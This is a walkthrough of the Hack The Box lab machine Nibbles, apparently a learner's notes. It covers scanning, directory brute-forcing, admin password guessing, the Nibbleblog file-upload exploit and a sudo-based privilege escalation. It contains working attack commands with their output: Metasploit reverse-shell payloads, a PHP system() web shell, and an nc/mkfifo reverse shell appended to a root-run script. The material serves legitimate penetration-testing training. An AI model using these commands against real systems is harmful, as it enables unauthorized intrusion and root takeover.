First box Nibbles - Enumeration

So, here are hundards of standalone boxes for different operating system and levels available to us on the HTB platform.

For the practise purpose, we firstly walk through the box Nibbles, and easy-rated Linux box that showcases common enumeration tactics, basic web application exploitation, and a file-related misconfiguration to escalate privileges.

Machine Name Nibbles
Creator mrb3n
Difficulty Easy
User Path Web
Privilege Escalation World-writable File / Sudoers Misconfiguration
RIppsec Video https://www.youtube.com/watch?v=s_0GcRGv6Ds
Walkthrough https://0xdf.gitlab.io/2018/06/30/htb-nibbles.html

Our first step when appproaching any machine is to perform some basic enumeration. First, let us start with what we do know about the target. We already know the target's IP address, that it is Linux, and has a web related attack vector. So, this is a grey-box approach because we have known some information about the target. On the HTB platform, the 20 'active' weekly release machines are all approached from a black-box perspective. Users are only given the IP adddress and the operating system type beforehand but no additional system about the target to formulate the attacks. This is why the thorough enumeration is critical and is often an iterative process.

Nmap

Let us begin with a quick nmap scan to look for open ports using the command:

nmap -sV --open -oA nibbles_initial_scan <target ip address>

nmap means starting nmap scan
-sV means service version scan or run a service enumeration scan against the default top 1,000 ports
--open means only return open ports
-oA means outputing stdout to files: xxx.nmap(nmap form), xxx.gnmap(greppable form), xxx.xml(xml form)

We can also use:

nmap -v -oG - <target ip address>

nmap means starting nmap scan
-v means use verbose scan mode which include more details
-oG means output to terminal in greppable form

It is essential to get in the habit of taking extensive notes and saving all console output early on for later using. The better we get at this while practicing, the more second nature it will become when on real-world engagements. Proper notetaking is critical for us as penetration testers and will significantly speed up the reporting process and ensure no evidence is lost. It is also essential to keep detailed time-stamped logs of scanning and explotitation attempts in an outage or incident in which the client needs information about our activities.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -sV --open -oA nibbles_initial_scan 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 21:48 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
Not shown: 918 closed tcp ports (conn-refused), 80 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.58 seconds

From the initial scan output, we can see host is likely Ubuntu Linux and exposes an Apache web server on port 80/tcp (http) and an openSSH server on 22/tcp (SSH) or secure shell, is a protocol typically used for remote access to Linux/Unix hosts. By the way, SSH can also be used to access Windows host and is now native to Windows 10 since version 1809.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -v -oG - 10.129.248.244
# Nmap 7.94SVN scan initiated Mon Jul  8 21:59:44 2024 as: nmap -v -oG - 10.129.248.244
# Ports scanned: TCP(1000;1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.248.244 () Status: Up
Host: 10.129.248.244 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///    Ignored State: closed (998)
# Nmap done at Mon Jul  8 22:00:30 2024 -- 1 IP address (1 host up) scanned in 45.35 seconds

Use another command, we can get same result.

We can also see three types of files what we scanned are created in this folder.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $ls
nibbles_initial_scan.gnmap  nibbles_initial_scan.nmap  nibbles_initial_scan.xml

Before we start poking around at the open ports, we can run a full TCP port scan using the command:

nmap -p- --open -oA nibbles_full_tcp_scan <target IP address>

-p- means scanning all 65535 ports (default TCP mode).
However, if insert ?? before -p-.

-sU means UDP scan
-sT means TCP connect scan
-sS means TCP TYN scan
-sA means ACK scan

It will take a long while,

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -p- --open -oA nibbles_full_tcp_scan 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 22:49 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
Not shown: 63350 closed tcp ports (conn-refused), 2183 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 133.46 seconds

We can leave this running in the background and move on our enumeration. Using nc to do some banner grabbing confirms what nmap told us.

nc means intial netcat scan
-n means no DNS mode, directly scan IP address
-v means verbose mode, show more details

┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nc -nv 10.129.248.244 22
(UNKNOWN) [10.129.248.244] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nc -nv 10.129.248.244 80
(UNKNOWN) [10.129.248.244] 80 (http) open

We do not found any additional ports. So we can perform an nmap script scan.

-sC or --script=default means default script scan

[!NOTE]
These scripts can be intrusive, so it is always important to understand what we will do and get permission.

We know only port 22 and 80 are opened, so to save time and limit unnecessary scanner traffic by specifying the target ports with -p.

┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -sC -p 22,80 -oA nibbles_script_scan 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 20:48 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http
|_http-title: Site doesn't have a title (text/html).

Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds

Script scan didn't give us anything more, so we can do nmap enumeration with http-enum script.

┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 20:52 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.28 seconds

First box Nibbles - Web Footprinting

We still didn't get more information. But we have already known this is a web server. So, whatweb can be used to identify the web application.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $whatweb 10.129.248.244
http://10.129.248.244 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.248.244]

HTTP 200 means access successfully, so we can have a look this web.

This is a normal webpage, Let us have a look source code. Either press Ctrl + U or use curl command.

┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244
<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Now, we get some interesting information. The comment mentions a directory named nibbleblog. Let us check it with whatweb.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $whatweb 10.129.248.244/nibbleblog
http://10.129.248.244/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.248.244], RedirectLocation[http://10.129.248.244/nibbleblog/], Title[301 Moved Permanently]
http://10.129.248.244/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.248.244], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]

Now, we can see some of the technologies in use such as Apache, HTML5, JQuery, MetaGenerator, Nibbleblog. Now, let us view http://10.129.248.244/nibbleblog/

Directory Enumeration

Nothing specify, but we can google nibbleblog exploit to look for some vulnerabilities.

Nibbleblog File Upload Vulnerability allows an authenticated attacker to upload and execute arbitrary PHP code on the underlying web server. Also, it works for version 4.0.3. Looking through the link, we can use metasploit module but URL, username, and password are required. And the code mentions multiple times of the target path that is admin.php.

Now, we can use gobuster and dictionary to enumerate any accessible pages and directories.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $gobuster dir -u  10.129.248.244/nibbleblog --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.248.244/nibbleblog
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 304]
/.htaccess            (Status: 403) [Size: 309]
/.htpasswd            (Status: 403) [Size: 309]
/admin                (Status: 301) [Size: 327] [--> http://10.129.248.244/nibbleblog/admin/]
/admin.php            (Status: 200) [Size: 1401]
/content              (Status: 301) [Size: 329] [--> http://10.129.248.244/nibbleblog/content/]
/index.php            (Status: 200) [Size: 2987]
/languages            (Status: 301) [Size: 331] [--> http://10.129.248.244/nibbleblog/languages/]
/plugins              (Status: 301) [Size: 329] [--> http://10.129.248.244/nibbleblog/plugins/]
/README               (Status: 200) [Size: 4628]
/themes               (Status: 301) [Size: 328] [--> http://10.129.248.244/nibbleblog/themes/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

We get five more links including admin.php

http://10.129.248.244/nibbleblog/admin.php
http://10.129.248.244/nibbleblog/index.php
http://10.129.248.244/nibbleblog/README
http://10.129.248.244/nibbleblog/admin/
http://10.129.248.244/nibbleblog/content/
http://10.129.248.244/nibbleblog/languages/
http://10.129.248.244/nibbleblog/plugins/
http://10.129.248.244/nibbleblog/themes/

Actually, we should look carefully to get more in the real scenario. But here, we can have a look README file firstly by either weblink or curl.

┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com

===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog

===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content” writable by Apache/PHP

The version number is 4.0.3 which represents we can confirm the version is likely vulnerable to the metasploit module we found before. Now, go admin.php to have some try like admin/admin or admin/password.

The common credential is unavailable and reset password function shows error. Too much login attempts too quickly trigger the security function - blacklist protection.

However, we know the username and password are necessary, so we have to poke around.

In the content direcory, there are public, private, and tmp direcories. And here is users.xml in private.

To view easily, we can use xmlint command.

[!NOTE]
| xmllint --format and | xmllint --format - are different, - specify the input format is std input.

┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/users.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users><user username="admin"><id type="integer">0</id><session_fail_count type="integer">4</session_fail_count><session_date type="integer">1720519560</session_date></user><blacklist type="string" ip="10.10.10.1"><date type="integer">1512964659</date><fail_count type="integer">1</fail_count></blacklist><blacklist type="string" ip="10.10.15.2"><date type="integer">1720519560</date><fail_count type="integer">1</fail_count></blacklist></users>
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/users.xml | xmllint --format -
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   502  100   502    0     0    848      0 --:--:-- --:--:-- --:--:--   847
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
  <user username="admin">
    <id type="integer">0</id>
    <session_fail_count type="integer">4</session_fail_count>
    <session_date type="integer">1720519560</session_date>
  </user>
  <blacklist type="string" ip="10.10.10.1">
    <date type="integer">1512964659</date>
    <fail_count type="integer">1</fail_count>
  </blacklist>
  <blacklist type="string" ip="10.10.15.2">
    <date type="integer">1720519560</date>
    <fail_count type="integer">1</fail_count>
  </blacklist>
</users>

Only know the username is admin, but cannot find the password. And Google search indicates the password is configured in the installation process.

And too much login attemption will trigger the block protection. So, we cannot use brute force tool like Hydra.

Have a brute force directory against the root of the web application.

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $gobuster dir -u 10.129.248.244 --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.248.244
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 293]
/.htaccess            (Status: 403) [Size: 298]
/.htpasswd            (Status: 403) [Size: 298]
/index.html           (Status: 200) [Size: 93]
/server-status        (Status: 403) [Size: 302]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

No more luck, so we still have to poke around, in /content/private/config.xml file, we can see;

-s means do not show the error info

┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl -s 10.129.248.244/nibbleblog/content/private/config.xml | xmllint --format -
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<config>
  <name type="string">Nibbles</name>
  <slogan type="string">Yum yum</slogan>
  <footer type="string">Powered by Nibbleblog</footer>
  <advanced_post_options type="integer">0</advanced_post_options>
  <url type="string">http://10.10.10.134/nibbleblog/</url>
  <path type="string">/nibbleblog/</path>
  <items_rss type="integer">4</items_rss>
  <items_page type="integer">6</items_page>
  <language type="string">en_US</language>
  <timezone type="string">UTC</timezone>
  <timestamp_format type="string">%d %B, %Y</timestamp_format>
  <locale type="string">en_US</locale>
  <img_resize type="integer">1</img_resize>
  <img_resize_width type="integer">1000</img_resize_width>
  <img_resize_height type="integer">600</img_resize_height>
  <img_resize_quality type="integer">100</img_resize_quality>
  <img_resize_option type="string">auto</img_resize_option>
  <img_thumbnail type="integer">1</img_thumbnail>
  <img_thumbnail_width type="integer">190</img_thumbnail_width>
  <img_thumbnail_height type="integer">190</img_thumbnail_height>
  <img_thumbnail_quality type="integer">100</img_thumbnail_quality>
  <img_thumbnail_option type="string">landscape</img_thumbnail_option>
  <theme type="string">simpler</theme>
  <notification_comments type="integer">1</notification_comments>
  <notification_session_fail type="integer">0</notification_session_fail>
  <notification_session_start type="integer">0</notification_session_start>
  <notification_email_to type="string">admin@nibbles.com</notification_email_to>
  <notification_email_from type="string">noreply@10.10.10.134</notification_email_from>
  <seo_site_title type="string">Nibbles - Yum yum</seo_site_title>
  <seo_site_description type="string"/>
  <seo_keywords type="string"/>
  <seo_robots type="string"/>
  <seo_google_code type="string"/>
  <seo_bing_code type="string"/>
  <seo_author type="string"/>
  <friendly_urls type="integer">0</friendly_urls>
  <default_homepage type="integer">0</default_homepage>
</config>

Still no luck, but nibbles are mentioned many times, so we can have a try.

Yes, it is nibbles.

This proves that we need a clear, repeatable process that we will use time and time again, no matter if we are attacking a single box on HTB, performing a web application penetration test for a client, or attacking a large Active Directory environment. Keep in mind that iterative enumeration, along with detailed notetaking, is one of the keys to success in this field.

As you progress in your career, you will often marvel at how the initial scope of a penetration test seemed extremely small and "boring," yet once you dig in and perform rounds and rounds of enumeration and peel back the layers, you may find an exposed service on a high port or some forgotten page or directory that can lead to sensitive data exposure or even a foothold.

First box Nibbles - Initial Foothold

Now, we can use Metasploit module to do a attack. Type msfconsole to boot Metasploit.

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search nibbleblog

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload

[msf](Jobs:0 Agents:0) >> 
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> 
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> show options

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][..
                                         .]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/u
                                         sing-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the web application
   USERNAME                    yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3

View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> 

Now, we can set up target IP, username, and password.

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set PASSWORD nibbles
PASSWORD => nibbles
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set RHOSTS 10.129.248.244
RHOSTS => 10.129.248.244
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set TARGETURI nibbleblog
TARGETURI => nibbleblog
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set USERNAME admin
USERNAME => admin
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> show options

Here, we also need to change the payload type, here we use generic/shell_reverse_tcp.

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp

Let us exploit,

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> exploit

[*] Started reverse TCP handler on 10.0.2.15:4444 
[!] This exploit may require manual cleanup of 'image.php' on the target
[*] Exploit completed, but no session was created.

As I am using VPN, so default IP should be changed as well as.

[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set LHOST 10.10.15.2
LHOST => 10.10.15.2
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> exploit

[*] Started reverse TCP handler on 10.10.15.2:4444 
[+] Deleted image.php
[*] Command shell session 1 opened (10.10.15.2:4444 -> 10.129.248.244:40496) at 2024-07-09 23:01:59 +1200

Type shell,

Now, we have successfully created a shell session but can not interactive, so we use python3 and bash to do a upgrade

shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
<ate/plugins/my_image$ python3 -c 'import pty;pty.spawn("/bin/bash")' >
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$

Now, we can view and browser the target and get user.txt.

nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
<ml/nibbleblog/content/private/plugins/my_image$ cd /home      >
nibbler@Nibbles:/home$ ls
ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79c03865431abf47b90ef24b9695e148
nibbler@Nibbles:/home/nibbler$ 

First box Nibbles - Privilege Escalation

Now, let us try the privilege escalation. Use sudo -l to check which root command we can use without root password

nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ 

Keep in eye, we see we can run one root command without password here:

nibbler@Nibbles:/home/nibbler$ ls -l
ls -l
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Mar 12  2021 user.txt
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
nibbler@Nibbles:/home/nibbler$ ls -l
ls -l
total 12
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 personal
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Mar 12  2021 user.txt

I cannot find the directory but get it after unzip file.

nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh

Also, we have the permission to write code into monitor.sh. Let us append our shell to this file in the end.

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.2 8083 > /tmp/f" >> monitor.sh          
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.2 8083 > /tmp/f" >> monitor.sh          
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh      >       
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found
rm: cannot remove '/tmp/f': No such file or directory

Open another session, and set a netcat monitor port.

┌─[chao@parrot]─[~]
└──╼ $nc -lvnp 8083
listening on [any] 8083 ...
connect to [10.10.15.2] from (UNKNOWN) [10.129.248.244] 60358
# ls
monitor.sh
# cd /root
# ls
root.txt
# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
# 

Finally, we have the root permission in the remote end.

Try other tools and methods to achieve the same result. Take detailed notes on your own exploitation path, or even if you follow the same steps laid out in this section.

First box Nibbles - Other solutions

In the OSCP exam, metasploit tool is forbidden, so we have to use other ways to do the same thing. The easist way is looking for metasploit module detail page, or google details about this vulnerability.

The document about metasploit nibbleblog module, and then follow the source code.

We can found this and there is more in google.

Arbitrary File Upload (CVE-2015-6967):
In Nibbleblog version 4.0.3 and earlier, there was an unrestricted file upload vulnerability in the "My Image" plugin. Remote administrators could execute arbitrary code by uploading a file with an executable extension and then accessing it directly via a request to the file in content/private/plugins/my_image/image.php

So, let us have a look what we already found in the before stage.

Page Contents
Publish making a new post, video post, quote post, or new page. It could be interesting.
Comments shows no published comments
Manage Allows us to manage posts, pages, and categories. We can edit and delete categories, not overly interesting.
Settings Scrolling to the bottom confirms that the vulnerable version 4.0.3 is in use. Several settings are available, but none seem valuable to us.
Themes This Allows us to install a new theme from a pre-selected list.
Plugins Allows us to configure, install, or uninstall plugins. The My image plugin allows us to upload an image file. Could this be abused to upload PHP code potentially?

Let us do some research in Plugins directory, and then go to Plugins-My image

According to previous research, we can upload a php file and execute it here. Before we upload, check the directory.

Write a PHP code in a file

┌─[chao@parrot]─[~/Desktop]
└──╼ $vim shell.php
┌─[chao@parrot]─[~/Desktop]
└──╼ $cat shell.php
<?php system('id'); ?>

We see some errors,

Have a verify, it has been renamed to image.php and stored in the directory.

So, the file has been uploaded and then let us execute this code

┌─[chao@parrot]─[~/Desktop]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/plugins/my_image/image.php
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

It does work, we have gained remote code execution on the web server. Let us edit our local PHP file and upload it again. This command should get us a reverse shell. As mentioned earlier in the Module, there are many reverse shell cheat sheets out there. Some great ones are PayloadAllTheThings and HighOn,Coffee.

In the guide, HTB use this command to create netcat reverse shell.

